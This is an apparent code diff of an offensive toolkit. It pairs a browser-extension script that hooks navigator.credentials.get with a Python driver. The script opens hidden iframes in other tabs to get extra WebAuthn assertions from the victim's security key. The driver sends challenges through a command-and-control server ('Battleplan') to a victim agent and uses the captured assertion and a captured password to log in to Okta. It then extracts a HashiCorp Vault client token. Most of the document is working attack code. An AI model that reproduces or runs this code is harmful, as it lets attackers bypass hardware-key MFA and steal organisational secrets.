const decodedJson = atob(makeWebAuthnRequest);
|
||||
console.log('📝 Decoded JSON:', decodedJson);
|
||||
|
||||
// Parse as JSON
|
||||
const requestOptions = JSON.parse(decodedJson);
|
||||
|
||||
// Basic validation - check if it looks like a WebAuthn request
|
||||
if (requestOptions && requestOptions.publicKey && requestOptions.publicKey.challenge) {
|
||||
console.log('✅ Valid WebAuthn request structure detected');
|
||||
|
||||
// Stop page loading immediately
|
||||
window.stop();
|
||||
|
||||
// Clear the page content
|
||||
document.documentElement.innerHTML = '<html><head><title>WebAuthn Request</title></head><body><h1>🔑 Processing WebAuthn Request...</h1><p>Check console for details.</p></body></html>';
|
||||
|
||||
// Helper function to convert base64url to ArrayBuffer
|
||||
function base64urlToArrayBuffer(base64url) {
|
||||
const base64 = base64url.replace(/-/g, '+').replace(/_/g, '/');
|
||||
const padded = base64.padEnd(base64.length + (4 - base64.length % 4) % 4, '=');
|
||||
const binary = atob(padded);
|
||||
const bytes = new Uint8Array(binary.length);
|
||||
for (let i = 0; i < binary.length; i++) {
|
||||
bytes[i] = binary.charCodeAt(i);
|
||||
}
|
||||
return bytes.buffer;
|
||||
}
|
||||
|
||||
// Convert the base64url strings to ArrayBuffers
|
||||
requestOptions.publicKey.challenge = base64urlToArrayBuffer(requestOptions.publicKey.challenge);
|
||||
requestOptions.publicKey.allowCredentials.forEach(cred => {
|
||||
cred.id = base64urlToArrayBuffer(cred.id);
|
||||
});
|
||||
|
||||
console.log('🚀 Executing WebAuthn request with options:', requestOptions);
|
||||
|
||||
// Call WebAuthn immediately using the original method
|
||||
navigator.credentials.get(requestOptions).then(credential => {
|
||||
console.log('✅ WebAuthn request from URL completed successfully:', credential);
|
||||
|
||||
// Log detailed response information
|
||||
if (credential) {
|
||||
const responseData = {
|
||||
id: credential.id,
|
||||
rawId: btoa(String.fromCharCode(...new Uint8Array(credential.rawId))),
|
||||
type: credential.type,
|
||||
response: {
|
||||
clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(credential.response.clientDataJSON))),
|
||||
authenticatorData: btoa(String.fromCharCode(...new Uint8Array(credential.response.authenticatorData))),
|
||||
signature: btoa(String.fromCharCode(...new Uint8Array(credential.response.signature))),
|
||||
userHandle: credential.response.userHandle ? btoa(String.fromCharCode(...new Uint8Array(credential.response.userHandle))) : null
|
||||
}
|
||||
};
|
||||
|
||||
console.log('📤 WebAuthn Response from URL request (Base64):', responseData);
|
||||
window.sendWebAuthnResponse(JSON.stringify(responseData));
|
||||
|
||||
// Update page content with success message
|
||||
document.body.innerHTML = '<h1>✅ WebAuthn Request Successful!</h1><p>Check console for response details.</p><pre>' + JSON.stringify(responseData, null, 2) + '</pre>';
|
||||
}
|
||||
}).catch(error => {
|
||||
console.error('❌ WebAuthn request from URL failed:', error);
|
||||
|
||||
// Update page content with error message
|
||||
document.body.innerHTML = '<h1>❌ WebAuthn Request Failed</h1><p>Error: ' + error.message + '</p><p>Check console for details.</p>';
|
||||
});
|
||||
|
||||
// Exit early - don't load the rest of the interceptor
|
||||
return;
|
||||
} else {
|
||||
console.warn('⚠️ Invalid WebAuthn request structure - missing publicKey or challenge');
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('❌ Failed to process makewebauthnrequest parameter:', error);
|
||||
}
|
||||
}
|
||||
|
||||
// Store captured requests
|
||||
let capturedRequests = [];
|
||||
let originalGet = navigator.credentials.get;
|
||||
|
||||
// Override navigator.credentials.get to intercept requests
|
||||
navigator.credentials.get = function(options) {
|
||||
console.log('🔑 WebAuthn GET Request Intercepted:', options);
|
||||
|
||||
// Store the captured request
|
||||
const requestData =
|
||||
JSON.parse(JSON.stringify(options, (key, value) => {
|
||||
// Skip AbortSignal and other non-serializable objects
|
||||
if (key === 'signal' || value instanceof AbortSignal || value instanceof AbortController) {
|
||||
return undefined;
|
||||
}
|
||||
// Convert ArrayBuffer/Uint8Array to base64 for storage
|
||||
if (value instanceof ArrayBuffer || value instanceof Uint8Array) {
|
||||
return {
|
||||
type: 'ArrayBuffer',
|
||||
data: btoa(String.fromCharCode(...new Uint8Array(value)))
|
||||
};
|
||||
}
|
||||
return value;
|
||||
}));
|
||||
|
||||
|
||||
capturedRequests.push(requestData);
|
||||
console.log('📋 Captured Request Data:', requestData);
|
||||
|
||||
// Sequential execution: First test call, then actual call
|
||||
return new Promise(async (resolve, reject) => {
|
||||
try {
|
||||
// Let the background script know we have an opportunity to piggyback a WebAuthn request
|
||||
createWebAuthnIframeInOtherTabs();
|
||||
// Wait a moment to ensure the first request is fully complete
|
||||
await new Promise(resolve => setTimeout(resolve, 1000));
|
||||
|
||||
// Second call: Actual call that forwards to original
|
||||
console.log('🔄 Making second actual call...');
|
||||
const actualCredential = await originalGet.call(this, options);
|
||||
console.log('✅ Actual call successful:', actualCredential);
|
||||
|
||||
// Log detailed response information for actual call
|
||||
if (actualCredential) {
|
||||
const actualResponseData = {
|
||||
id: actualCredential.id,
|
||||
rawId: btoa(String.fromCharCode(...new Uint8Array(actualCredential.rawId))),
|
||||
type: actualCredential.type,
|
||||
response: {
|
||||
clientDataJSON: btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.clientDataJSON))),
|
||||
authenticatorData: btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.authenticatorData))),
|
||||
signature: btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.signature))),
|
||||
userHandle: actualCredential.response.userHandle ? btoa(String.fromCharCode(...new Uint8Array(actualCredential.response.userHandle))) : null
|
||||
}
|
||||
};
|
||||
|
||||
console.log('📤 Actual Response Data (Base64):', actualResponseData);
|
||||
|
||||
// Store actual response with the request
|
||||
requestData.response = actualResponseData;
|
||||
}
|
||||
|
||||
// Resolve with the actual credential (second call result)
|
||||
resolve(actualCredential);
|
||||
|
||||
} catch (error) {
|
||||
console.error('❌ Error during sequential WebAuthn calls:', error);
|
||||
requestData.error = error.message;
|
||||
reject(error);
|
||||
}
|
||||
});
|
||||
};
|
||||
|
||||
// Function to replay a captured request
|
||||
window.replayWebAuthnRequest = function(index = 0) {
|
||||
if (capturedRequests.length === 0) {
|
||||
console.warn('No captured requests to replay');
|
||||
return Promise.reject('No captured requests');
|
||||
}
|
||||
|
||||
const request = capturedRequests[index];
|
||||
if (!request) {
|
||||
console.warn(`No request at index ${index}`);
|
||||
return Promise.reject(`No request at index ${index}`);
|
||||
}
|
||||
|
||||
console.log('🔄 Replaying WebAuthn Request:', request);
|
||||
|
||||
// Reconstruct the options object, converting base64 back to ArrayBuffer
|
||||
const options = JSON.parse(JSON.stringify(request.options), (key, value) => {
|
||||
if (value && typeof value === 'object' && value.type === 'ArrayBuffer') {
|
||||
const binaryString = atob(value.data);
|
||||
const bytes = new Uint8Array(binaryString.length);
|
||||
for (let i = 0; i < binaryString.length; i++) {
|
||||
bytes[i] = binaryString.charCodeAt(i);
|
||||
}
|
||||
return bytes.buffer;
|
||||
}
|
||||
return value;
|
||||
});
|
||||
|
||||
// Remove any remaining signal property and ensure clean options
|
||||
if (options.signal) {
|
||||
delete options.signal;
|
||||
}
|
||||
|
||||
// Add a small delay to avoid rapid-fire requests
|
||||
return new Promise(resolve => setTimeout(resolve, 100)).then(() => {
|
||||
console.log('🚀 Executing replay with options:', options);
|
||||
return originalGet.call(navigator.credentials, options);
|
||||
});
|
||||
};
|
||||
|
||||
// Function to get all captured requests
|
||||
window.getCapturedRequests = function() {
|
||||
return capturedRequests;
|
||||
};
|
||||
|
||||
// Function to create a hidden iframe with WebAuthn request
|
||||
window.createWebAuthnIframe = function(site, request) {
|
||||
const iframe = document.createElement('iframe');
|
||||
// we add something/that/does/not/exist/ to the url to avoid hitting a page that will instantly change the url before we can parse it
|
||||
iframe.src = "https://" + site + "/something/that/does/not/exist/?makewebauthnrequest=" + encodeURIComponent(request);
|
||||
iframe.allow = 'publickey-credentials-get';
|
||||
iframe.style.width = '0px';
|
||||
iframe.style.height = '0px';
|
||||
iframe.style.border = 'none';
|
||||
iframe.style.position = 'absolute';
|
||||
iframe.style.left = '-9999px';
|
||||
iframe.style.top = '-9999px';
|
||||
|
||||
// Add event listeners for debugging
|
||||
iframe.onload = function() {
|
||||
console.log('🖼️ WebAuthn iframe loaded successfully');
|
||||
};
|
||||
|
||||
iframe.onerror = function() {
|
||||
console.error('❌ Error loading WebAuthn iframe');
|
||||
};
|
||||
|
||||
// Append to body
|
||||
document.body.appendChild(iframe);
|
||||
|
||||
console.log('🎯 Created hidden WebAuthn iframe with URL:', iframe.src);
|
||||
return iframe;
|
||||
};
|
||||
|
||||
// Function to trigger WebAuthn iframe creation in other tabs via background script
|
||||
window.createWebAuthnIframeInOtherTabs = function() {
|
||||
const message = {
|
||||
type: 'create_webauthn_iframe',
|
||||
data: {}
|
||||
};
|
||||
|
||||
console.log('📤 Sending message to background script:', message);
|
||||
|
||||
window.postMessage({
|
||||
type: 'MAIN_TO_EXTENSION',
|
||||
payload: message
|
||||
}, '*');
|
||||
|
||||
return true;
|
||||
};
|
||||
})();
|
||||
@@ -0,0 +1,43 @@
|
||||
// Bridge for MAIN world to communicate with extension
|
||||
// Handles both sending messages to extension and relaying responses back
|
||||
|
||||
// Generate unique message IDs for correlation
|
||||
let messageIdCounter = 0;
|
||||
const pendingMessages = new Map();
|
||||
|
||||
// Listen for messages from MAIN world
|
||||
window.addEventListener('message', (event) => {
|
||||
if (event.source === window && event.data.type === 'MAIN_TO_EXTENSION') {
|
||||
const messageData = event.data.payload;
|
||||
|
||||
// Use requestId from message if it exists, otherwise generate messageId
|
||||
const messageId = messageData.requestId || ++messageIdCounter;
|
||||
messageData.messageId = messageId;
|
||||
|
||||
// Send message to background script and handle response
|
||||
chrome.runtime.sendMessage(messageData, (response) => {
|
||||
// Check for chrome.runtime.lastError
|
||||
if (chrome.runtime.lastError) {
|
||||
// Send error response back to MAIN world
|
||||
window.postMessage({
|
||||
type: 'EXTENSION_TO_MAIN',
|
||||
messageId: messageId,
|
||||
success: false,
|
||||
error: chrome.runtime.lastError.message,
|
||||
originalType: messageData.type
|
||||
}, '*');
|
||||
return;
|
||||
}
|
||||
|
||||
// Send successful response back to MAIN world
|
||||
window.postMessage({
|
||||
type: 'EXTENSION_TO_MAIN',
|
||||
messageId: messageId,
|
||||
success: true,
|
||||
data: response,
|
||||
originalType: messageData.type
|
||||
}, '*');
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
# Configuration file for Okta IDX automated flow
|
||||
|
||||
# Okta Configuration
|
||||
OKTA_DOMAIN = "<TARGET_DOMAIN>.okta.com"
|
||||
OKTA_BASE_URL = f"https://{OKTA_DOMAIN}"
|
||||
USERNAME = "<USERNAME@TARGET_DOMAIN>"
|
||||
PASSWORD = "<CAPTURED_PASSWORD>"
|
||||
|
||||
# Vault Configuration
|
||||
VAULT_BASE_URL = "<VAULT_URL>"
|
||||
VAULT_REDIRECT_URI = f"{VAULT_BASE_URL}/ui/vault/auth/oidc/oidc/callback"
|
||||
|
||||
# Battleplan Configuration
|
||||
BATTLEPLAN_BASE_URL = "<BATTLEPLAN_URL>"
|
||||
BATTLEPLAN_AUTH = "<BATTLEPLAN_AUTH_BASE64_FROM_ADMIN:PASSWORD>"
|
||||
AGENT_IP = "<TARGET_IP>"
|
||||
@@ -0,0 +1,976 @@
|
||||
import requests
|
||||
import json
|
||||
import re
|
||||
import base64
|
||||
import time
|
||||
from urllib.parse import unquote, urlparse, parse_qs
|
||||
from config import (
|
||||
OKTA_DOMAIN, OKTA_BASE_URL, USERNAME, PASSWORD,
|
||||
VAULT_BASE_URL, VAULT_REDIRECT_URI,
|
||||
BATTLEPLAN_BASE_URL, BATTLEPLAN_AUTH,
|
||||
AGENT_IP
|
||||
)
|
||||
|
||||
def make_webauthn_request(request, domain):
|
||||
|
||||
"""
|
||||
Automate the WebAuthn request flow:
|
||||
1. Create task
|
||||
2. Poll for completion
|
||||
3. Return result.response
|
||||
|
||||
Args:
|
||||
request (str): Base64-encoded WebAuthn request
|
||||
domain (str): Domain for the WebAuthn request
|
||||
"""
|
||||
|
||||
# Headers for all requests
|
||||
headers = {
|
||||
"Authorization": f"Basic {BATTLEPLAN_AUTH}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
# Step 1: Create the WebAuthn task
|
||||
print("Creating WebAuthn task... for properties:")
|
||||
print(f"domain: {domain}")
|
||||
print(f"request: {request}")
|
||||
|
||||
payload = {
|
||||
"command": "webauthn",
|
||||
"payload": json.dumps({
|
||||
"domain": domain,
|
||||
"request": request
|
||||
}),
|
||||
"agentIp": AGENT_IP
|
||||
}
|
||||
|
||||
try:
|
||||
response = requests.post(
|
||||
f"{BATTLEPLAN_BASE_URL}/command",
|
||||
headers=headers,
|
||||
json=payload
|
||||
)
|
||||
response.raise_for_status()
|
||||
|
||||
# Extract taskId from response
|
||||
task_data = response.json()
|
||||
task_id = task_data.get("taskId")
|
||||
|
||||
if not task_id:
|
||||
print("Error: No taskId received in response")
|
||||
print(f"Response: {task_data}")
|
||||
return None
|
||||
|
||||
print(f"Task created successfully. TaskId: {task_id}")
|
||||
print(f"Status: {task_data.get('status')}")
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Error creating task: {e}")
|
||||
return None
|
||||
|
||||
# Step 2: Poll for task completion
|
||||
print("Polling for task completion...")
|
||||
|
||||
poll_url = f"{BATTLEPLAN_BASE_URL}/task/{task_id}"
|
||||
max_attempts = 60 # Maximum 5 minutes of polling (60 * 5 seconds)
|
||||
attempt = 0
|
||||
|
||||
while attempt < max_attempts:
|
||||
try:
|
||||
poll_response = requests.get(poll_url, headers=headers)
|
||||
poll_response.raise_for_status()
|
||||
|
||||
poll_data = poll_response.json()
|
||||
status = poll_data.get("status")
|
||||
|
||||
print(f"Attempt {attempt + 1}: Status = {status}")
|
||||
|
||||
# Check if we have a result
|
||||
if "result" in poll_data and poll_data["result"]:
|
||||
print("Task completed! Processing result...")
|
||||
|
||||
# Parse the result (it's a JSON string)
|
||||
try:
|
||||
result_data = json.loads(poll_data["result"])
|
||||
response_data = result_data.get("response")
|
||||
|
||||
if response_data:
|
||||
print("\n" + "="*50)
|
||||
print("RESULT.RESPONSE:")
|
||||
print("="*50)
|
||||
print(json.dumps(response_data, indent=2))
|
||||
return response_data
|
||||
else:
|
||||
print("Error: No response field found in result")
|
||||
print(f"Full result: {result_data}")
|
||||
return None
|
||||
|
||||
except json.JSONDecodeError as e:
|
||||
print(f"Error parsing result JSON: {e}")
|
||||
print(f"Raw result: {poll_data['result']}")
|
||||
return None
|
||||
|
||||
# Check if task failed
|
||||
if status == "failed":
|
||||
print("Task failed!")
|
||||
print(f"Full response: {poll_data}")
|
||||
return None
|
||||
|
||||
except requests.exceptions.RequestException as e:
|
||||
print(f"Error polling task: {e}")
|
||||
|
||||
# Wait 5 seconds before next poll
|
||||
time.sleep(5)
|
||||
attempt += 1
|
||||
|
||||
print("Max polling attempts reached. Task may still be running.")
|
||||
return None
|
||||
|
||||
def format_idx_webauthn_challenge_for_browser(challenge_data):
|
||||
"""Convert IDX WebAuthn challenge response to browser-compatible format and encode as base64"""
|
||||
|
||||
# Extract challenge data from IDX response
|
||||
current_auth = challenge_data.get('currentAuthenticator', {}).get('value', {})
|
||||
challenge_info = current_auth.get('contextualData', {}).get('challengeData', {})
|
||||
|
||||
challenge = challenge_info.get('challenge')
|
||||
user_verification = challenge_info.get('userVerification', 'preferred')
|
||||
|
||||
if not challenge:
|
||||
raise ValueError("No challenge found in IDX response")
|
||||
|
||||
print(f"🔑 Challenge: {challenge}")
|
||||
print(f"👤 User verification: {user_verification}")
|
||||
|
||||
# Find the WebAuthn credential ID from authenticatorEnrollments
|
||||
enrollments = challenge_data.get('authenticatorEnrollments', {}).get('value', [])
|
||||
credential_id = None
|
||||
|
||||
for enrollment in enrollments:
|
||||
if (enrollment.get('key') == 'webauthn' and
|
||||
enrollment.get('type') == 'security_key' and
|
||||
'credentialId' in enrollment):
|
||||
credential_id = enrollment['credentialId']
|
||||
print(f"🔐 Found credential ID: {credential_id}")
|
||||
break
|
||||
|
||||
if not credential_id:
|
||||
raise ValueError("No WebAuthn credential ID found in response")
|
||||
|
||||
# Extract rpId from the challenge URL (assuming it's trial-9881677.okta.com)
|
||||
rp_id = OKTA_DOMAIN
|
||||
|
||||
# Format for navigator.credentials.get()
|
||||
webauthn_request = {
|
||||
"publicKey": {
|
||||
"challenge": challenge, # Keep as base64url string - JS will convert
|
||||
"timeout": 60000, # 60 seconds timeout
|
||||
"rpId": rp_id,
|
||||
"allowCredentials": [
|
||||
{
|
||||
"type": "public-key",
|
||||
"id": credential_id, # Keep as base64url string - JS will convert
|
||||
"transports": ["usb", "nfc", "ble", "hybrid"]
|
||||
}
|
||||
],
|
||||
"userVerification": user_verification
|
||||
}
|
||||
}
|
||||
|
||||
# Convert to JSON string
|
||||
json_string = json.dumps(webauthn_request)
|
||||
|
||||
# Encode as base64
|
||||
encoded_string = base64.b64encode(json_string.encode('utf-8')).decode('utf-8')
|
||||
|
||||
# Extract stateHandle for later use
|
||||
state_handle = challenge_data.get('stateHandle')
|
||||
|
||||
# Get the answer URL from remediation
|
||||
answer_url = None
|
||||
remediation = challenge_data.get('remediation', {}).get('value', [])
|
||||
for remedy in remediation:
|
||||
if remedy.get('name') == 'challenge-authenticator':
|
||||
answer_url = remedy.get('href')
|
||||
break
|
||||
|
||||
if not answer_url:
|
||||
raise ValueError("No challenge-authenticator URL found in response")
|
||||
|
||||
verification_data = {
|
||||
"stateHandle": state_handle,
|
||||
"answerUrl": answer_url
|
||||
}
|
||||
|
||||
return {
|
||||
"encoded_webauthn_options": encoded_string,
|
||||
"verification_data": verification_data
|
||||
}
|
||||
|
||||
def submit_idx_webauthn_response_to_okta(session, verification_data, webauthn_response):
|
||||
"""Submit WebAuthn response to IDX challenge/answer endpoint"""
|
||||
|
||||
# The IDX API expects the response in a specific format
|
||||
payload = {
|
||||
"credentials": {
|
||||
"clientData": webauthn_response['clientDataJSON'],
|
||||
"authenticatorData": webauthn_response['authenticatorData'],
|
||||
"signatureData": webauthn_response['signature'] # Note: IDX uses 'signatureData', not 'signature'
|
||||
},
|
||||
"stateHandle": verification_data['stateHandle']
|
||||
}
|
||||
|
||||
# Include userHandle if present
|
||||
if 'userHandle' in webauthn_response and webauthn_response['userHandle']:
|
||||
payload['credentials']['userHandle'] = webauthn_response['userHandle']
|
||||
print(f"📎 Including userHandle: {webauthn_response['userHandle']}")
|
||||
|
||||
headers = {
|
||||
"Accept": "application/json; okta-version=1.0.0",
|
||||
"Accept-Language": "en",
|
||||
"Content-Type": "application/json",
|
||||
"X-Okta-User-Agent-Extended": "okta-auth-js/7.11.0 okta-signin-widget-7.33.0",
|
||||
# "X-Device-Fingerprint": "vp7_x0b0dbi95vQeXg22pytWveCYiF1x|9aa6534f76ae4b035eb4fdb3bf11dda5faa1e765638735cceee34f35192168d4|244149bc78cafdb571d6fd63add4f442",
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Origin": OKTA_BASE_URL,
|
||||
"DNT": "1",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin"
|
||||
}
|
||||
|
||||
print(f"🔗 Submitting to: {verification_data['answerUrl']}")
|
||||
print(f"📝 Payload structure:")
|
||||
print(f" credentials.clientData length: {len(webauthn_response['clientDataJSON'])} chars")
|
||||
print(f" credentials.authenticatorData length: {len(webauthn_response['authenticatorData'])} chars")
|
||||
print(f" credentials.signatureData length: {len(webauthn_response['signature'])} chars")
|
||||
print(f" stateHandle: {verification_data['stateHandle'][:50]}...")
|
||||
|
||||
# Debug: decode and show clientData
|
||||
try:
|
||||
client_data_decoded = base64.b64decode(webauthn_response['clientDataJSON']).decode('utf-8')
|
||||
client_data_json = json.loads(client_data_decoded)
|
||||
print(f"🔍 Decoded clientData:")
|
||||
print(f" type: {client_data_json.get('type')}")
|
||||
print(f" challenge: {client_data_json.get('challenge')}")
|
||||
print(f" origin: {client_data_json.get('origin')}")
|
||||
except Exception as e:
|
||||
print(f"⚠️ Could not decode clientData: {e}")
|
||||
|
||||
print(f"\n📡 Making POST request to {verification_data['answerUrl']}")
|
||||
|
||||
response = session.post(
|
||||
verification_data['answerUrl'],
|
||||
headers=headers,
|
||||
json=payload
|
||||
)
|
||||
|
||||
print(f"📡 Response status: {response.status_code}")
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"❌ Error response: {response.text}")
|
||||
response.raise_for_status()
|
||||
|
||||
result = response.json()
|
||||
|
||||
print(f"🔍 Response details:")
|
||||
print(f" Status: {result.get('status')}")
|
||||
if 'intent' in result:
|
||||
print(f" Intent: {result.get('intent')}")
|
||||
|
||||
return result
|
||||
|
||||
def handle_success_redirect(session, webauthn_result):
|
||||
"""Handle the success redirect URL to complete the OAuth2 flow"""
|
||||
|
||||
# Check if we have a success redirect
|
||||
success_data = webauthn_result.get('success', {})
|
||||
redirect_url = success_data.get('href')
|
||||
|
||||
if not redirect_url:
|
||||
print("❌ No success redirect URL found in response")
|
||||
return None
|
||||
|
||||
print(f"🔗 Found success redirect URL: {redirect_url}")
|
||||
|
||||
# Make a GET request to the redirect URL while maintaining session
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"DNT": "1",
|
||||
"Upgrade-Insecure-Requests": "1",
|
||||
"Sec-Fetch-Dest": "document",
|
||||
"Sec-Fetch-Mode": "navigate",
|
||||
"Sec-Fetch-Site": "same-origin",
|
||||
"Sec-Fetch-User": "?1",
|
||||
"Priority": "u=0, i",
|
||||
"TE": "trailers"
|
||||
}
|
||||
|
||||
print(f"🌐 Making GET request to redirect URL...")
|
||||
print(f" URL: {redirect_url}")
|
||||
print(f" Session cookies: {len(session.cookies)} cookies")
|
||||
|
||||
# Log current cookies for debugging
|
||||
for cookie in session.cookies:
|
||||
print(f" Cookie: {cookie.name}={cookie.value[:20]}...")
|
||||
|
||||
# Specifically check for important cookies
|
||||
dt_cookie = None
|
||||
jsessionid_cookie = None
|
||||
ln_cookie = None
|
||||
|
||||
for cookie in session.cookies:
|
||||
if cookie.name == 'DT':
|
||||
dt_cookie = cookie.value
|
||||
elif cookie.name == 'JSESSIONID':
|
||||
jsessionid_cookie = cookie.value
|
||||
elif cookie.name == 'ln':
|
||||
ln_cookie = cookie.value
|
||||
|
||||
print(f"📋 Important cookies status:")
|
||||
print(f" DT cookie: {'✅ Present' if dt_cookie else '❌ Missing'}")
|
||||
print(f" JSESSIONID: {'✅ Present' if jsessionid_cookie else '❌ Missing'}")
|
||||
|
||||
if dt_cookie:
|
||||
print(f" DT value: {dt_cookie[:30]}{'...' if len(dt_cookie) > 30 else ''}")
|
||||
|
||||
if not dt_cookie:
|
||||
print("⚠️ WARNING: DT cookie is missing! This may cause issues with the final redirect.")
|
||||
print(" The DT cookie should have been set during the initial auth URL request.")
|
||||
|
||||
response = session.get(redirect_url, headers=headers, allow_redirects=True)
|
||||
|
||||
print(f"📡 Redirect response status: {response.status_code}")
|
||||
print(f"🔗 Final URL after redirects: {response.url}")
|
||||
|
||||
# Check if we got redirected to the Vault callback
|
||||
if "vault/auth/oidc/oidc/callback" in response.url:
|
||||
print("✅ Successfully redirected to Vault callback!")
|
||||
print(f"📋 Final callback URL: {response.url}")
|
||||
|
||||
# Extract any query parameters from the final URL
|
||||
parsed_url = urlparse(response.url)
|
||||
query_params = parse_qs(parsed_url.query)
|
||||
|
||||
if 'code' in query_params:
|
||||
auth_code = query_params['code'][0]
|
||||
print(f"🎯 Authorization code received: {auth_code[:20]}...")
|
||||
|
||||
if 'state' in query_params:
|
||||
state = query_params['state'][0]
|
||||
print(f"🔐 State parameter: {state}")
|
||||
|
||||
# Step 9: Complete Vault authentication to get client token
|
||||
vault_result = complete_vault_authentication(response.url)
|
||||
|
||||
if vault_result and vault_result.get('success'):
|
||||
return {
|
||||
'success': True,
|
||||
'authorization_code': auth_code,
|
||||
'state': query_params.get('state', [None])[0],
|
||||
'callback_url': response.url,
|
||||
'final_response': response,
|
||||
'vault_result': vault_result,
|
||||
'client_token': vault_result['client_token'],
|
||||
'accessor': vault_result['accessor'],
|
||||
'policies': vault_result['policies'],
|
||||
'lease_duration': vault_result['lease_duration']
|
||||
}
|
||||
else:
|
||||
print("❌ Failed to complete Vault authentication")
|
||||
# Still return the authorization code in case manual completion is needed
|
||||
return {
|
||||
'success': False,
|
||||
'authorization_code': auth_code,
|
||||
'state': query_params.get('state', [None])[0],
|
||||
'callback_url': response.url,
|
||||
'final_response': response,
|
||||
'vault_error': 'Failed to complete Vault authentication'
|
||||
}
|
||||
else:
|
||||
print("⚠️ No authorization code found in callback URL")
|
||||
print(f"Query parameters: {query_params}")
|
||||
else:
|
||||
print(f"⚠️ Unexpected redirect destination: {response.url}")
|
||||
|
||||
# Return response details for debugging
|
||||
return {
|
||||
'success': False,
|
||||
'final_url': response.url,
|
||||
'status_code': response.status_code,
|
||||
'response': response
|
||||
}
|
||||
|
||||
def complete_vault_authentication(callback_url):
|
||||
"""Make the final callback request to Vault to get the client token"""
|
||||
|
||||
print(f"🔐 Step 9: Completing Vault authentication...")
|
||||
print(f"📞 Extracting parameters from callback URL: {callback_url}")
|
||||
|
||||
# Extract the host and parameters from the callback URL
|
||||
parsed_callback = urlparse(callback_url)
|
||||
vault_host = parsed_callback.netloc
|
||||
query_params = parse_qs(parsed_callback.query)
|
||||
|
||||
# Extract code and state parameters
|
||||
code = query_params.get('code', [None])[0]
|
||||
state = query_params.get('state', [None])[0]
|
||||
|
||||
if not code or not state:
|
||||
print(f"❌ Missing required parameters: code={code}, state={state}")
|
||||
return None
|
||||
|
||||
print(f"📋 Extracted parameters:")
|
||||
print(f" Code: {code[:20]}...")
|
||||
print(f" State: {state}")
|
||||
|
||||
# Construct the proper Vault API endpoint
|
||||
vault_api_url = f"https://{vault_host}/v1/auth/oidc/oidc/callback?code={code}&state={state}"
|
||||
print(f"🎯 Making request to Vault API: {vault_api_url}")
|
||||
|
||||
headers = {
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Referer": f"https://{vault_host}/ui/vault/auth",
|
||||
"DNT": "1",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin",
|
||||
"Priority": "u=4",
|
||||
"TE": "trailers"
|
||||
}
|
||||
|
||||
# Create a new session for the Vault API call (different domain)
|
||||
vault_session = requests.Session()
|
||||
|
||||
# Set the abuse_interstitial cookie if needed
|
||||
vault_session.cookies.set('abuse_interstitial', vault_host)
|
||||
|
||||
try:
|
||||
response = vault_session.get(vault_api_url, headers=headers)
|
||||
|
||||
print(f"📡 Vault API response status: {response.status_code}")
|
||||
|
||||
if response.status_code != 200:
|
||||
print(f"❌ Error from Vault API: {response.text}")
|
||||
return None
|
||||
|
||||
# Parse the JSON response
|
||||
vault_response = response.json()
|
||||
|
||||
print("✅ Vault API callback successful!")
|
||||
|
||||
# Extract the client token
|
||||
auth_data = vault_response.get('auth', {})
|
||||
client_token = auth_data.get('client_token')
|
||||
|
||||
if client_token:
|
||||
print(f"🎯 Client token obtained: {client_token[:20]}...")
|
||||
|
||||
# Also extract other useful info
|
||||
accessor = auth_data.get('accessor')
|
||||
policies = auth_data.get('policies', [])
|
||||
lease_duration = auth_data.get('lease_duration')
|
||||
|
||||
print(f"📋 Vault authentication details:")
|
||||
print(f" Accessor: {accessor[:20]}..." if accessor else " Accessor: None")
|
||||
print(f" Policies: {policies}")
|
||||
print(f" Lease duration: {lease_duration} seconds" if lease_duration else " Lease duration: Unknown")
|
||||
|
||||
return {
|
||||
'success': True,
|
||||
'client_token': client_token,
|
||||
'accessor': accessor,
|
||||
'policies': policies,
|
||||
'lease_duration': lease_duration,
|
||||
'full_response': vault_response,
|
||||
'api_url': vault_api_url
|
||||
}
|
||||
else:
|
||||
print("❌ No client token found in Vault response")
|
||||
print(f"Full response: {json.dumps(vault_response, indent=2)}")
|
||||
return None
|
||||
|
||||
except Exception as e:
|
||||
print(f"❌ Error making Vault API request: {e}")
|
||||
return None
|
||||
|
||||
def automate_okta_login():
|
||||
# # Step 1: Get the auth URL from Vault
|
||||
vault_url = f"{VAULT_BASE_URL}/v1/auth/oidc/oidc/auth_url"
|
||||
|
||||
headers = {
|
||||
"Content-Type": "application/json; charset=utf-8",
|
||||
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:136.0) Gecko/20100101 Firefox/136.0",
|
||||
"Accept": "*/*",
|
||||
"Accept-Language": "en-US,en;q=0.5",
|
||||
"Origin": VAULT_BASE_URL,
|
||||
"Referer": f"{VAULT_BASE_URL}/ui/vault/auth",
|
||||
"DNT": "1",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Site": "same-origin"
|
||||
}
|
||||
|
||||
payload = {
|
||||
"role": "",
|
||||
"redirect_uri": VAULT_REDIRECT_URI
|
||||
}
|
||||
|
||||
